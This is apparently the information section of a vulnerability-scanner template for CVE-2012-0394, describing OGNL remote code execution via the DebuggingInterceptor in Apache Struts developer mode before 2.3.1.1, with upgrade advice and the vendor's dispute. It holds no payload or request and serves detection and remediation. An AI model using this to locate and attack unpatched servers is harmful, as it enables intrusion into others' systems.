id: CVE-2012-0394

info:
  name: Apache Struts <2.3.1.1 - Remote Code Execution
  author: tess
  severity: medium
  description: |
    Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
  remediation: |
    Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
